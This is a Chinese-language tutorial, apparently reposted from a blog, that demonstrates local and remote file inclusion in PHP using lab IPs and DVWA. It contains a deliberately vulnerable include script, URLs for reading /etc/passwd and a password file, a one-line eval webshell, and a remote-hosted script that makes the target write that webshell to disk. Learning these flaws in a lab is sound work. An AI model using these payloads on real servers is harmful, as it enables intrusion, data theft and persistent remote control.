概述
文件包含漏洞包括本地文件包含( LFI )和远程文件包含 (RFI) 。详细讲解请自行度娘,这里一是利用最简单的代码对文件包含漏洞进行展示;二是结合《 metasploit 渗透测试魔鬼训练营》的实验环境进行讲解。
一、本地文件包含漏洞(LFI)
(一)LFI展现
在WEB服务器A(192.168.80.1)下有三个文件
1.fl.php :<?php $filename = $_GET['filename']; require($filename); ?>
2.read.php : <?php echo "Thank you"; ?>
3.password.txt : 123456
文件包含漏洞出在fl.php中,该文件对$filename进行了包含,但是$filename是从URL参数中获得,并且没有做任何的过滤和限制。
正常访问的URL是这样的:http://192.168.80.1/fl.php?filename=read.php,结果如下:
如果攻击者知道存在password.txt,通过访问http://192.168.80.1/fl.php?filename=password
.txt,那么结果就是这样的:
LFI触发后,像WEB配置文件,数据库配置文件等可能被攻击者窃取,导致机密文件泄露,攻击者可以利用这样信息进一步对服务器进行攻击。
(二)《metasploit渗透测试魔鬼训练营》实验环境LFI
漏洞触发URL:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=
正常访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=include.php
攻击者访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=/etc/passwd
攻击者利用LFI漏洞获取/etc/passwd文件,该文件包含了系统用户的用户名等信息。
二、远程文件包含漏洞(RFI)
相对于LFI,RFI的危害性更大,可能导致向WEB服务器上传webshell。
(一)RFI展现
RFI的触发原理和LFI的机制基本相同,在LFI展现环境的基础上,增加攻击者控制的WEB服务器B(192.168.80.8)。
访问URL:http://192.168.80.1/fl.php?filename=http://192.168.80.8/phpshell.php
这样攻击者可以在服务器A上执行特定的代码,从而上传Webshell,控制A。
是不是特别简单啊, 哈哈,是不是想着在B上放置一个一句话木马,然后访问攻击URL,就将A给控制了呢?别高兴的太早。下面结合《metasploit渗透测试魔鬼训练营》实验环境RFI进行讲解。
(二)《metasploit渗透测试魔鬼训练营》实验环境RFI
实验环境增加一个《metasploit渗透测试魔鬼训练营》RFI漏洞实验环境服务器192.168.80.141。
按照书中讲解,漏洞是这样利用的:
于是我们在192.168.80.8上放置一个一句话木马
ui.php: <?php @eval($_POST["as"]);?>
通过中国菜刀访问:
http://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/ui.php
完全不行啊...作者你不要骗俺啊...
分析原因,我们在192.168.80.8放置如下文件
write.php : <?php $filew = fopen(“test.txt”, "w");
fwrite($filew, “123456789”);
fclose($filew);
?>
访问URL:http://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/write.php
结果我们在服务器192.168.80.8下发现test.txt,192.168.80.141下并没有发现test.txt。原因清楚了吗?由于192.168.80.141通过RFI包含192.168.80.8上的php文件时,192.168.80.8首先执行php文件,然后将结果返回给了192.168.80.141...这样192.168.80.141上面根本没有执行php文件,所以无法植入webshell。
解决办法:我们在192.168.80.8放置如下文件
uiyu.php: <?php
echo '<?php $filew = fopen("acos.php", "w");
fwrite($filew, '<?php @eval($_POST["as"]);?>');
fclose($filew); ?>'
?>
访问URL:http://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/uiyu.php
这样192.168.80.8将
<?php $filew = fopen("acos.php", "w");
fwrite($filew, '<?php @eval($_POST["as"]);?>');
fclose($filew); ?>
返回给了192.168.80.141,192.168.80.141执行该PHP代码,创建acos.php文件:<?php @eval($_POST["as"]);?>。
通过中国菜刀访问http://192.168.80.141/dvwa/vulnerabilities/fi/acos.php
OK,成功执行。
(三)《metasploit渗透测试魔鬼训练营》实验环境漏洞定位
(一)fi/source/low.php
该文件将$_GET[‘page’]参数给了$file变量,并且没有做任何过滤和限制
(二)fi./index.php
Index.php首先包含了source/low.php,然后包含了$file文件,漏洞触发。
拜了个拜!
最后
以上就是丰富月光为你收集整理的《Metasploit渗透测试魔鬼训练营》 之 文件包含一、本地文件包含漏洞(LFI)的全部内容,希望文章能够帮你解决《Metasploit渗透测试魔鬼训练营》 之 文件包含一、本地文件包含漏洞(LFI)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复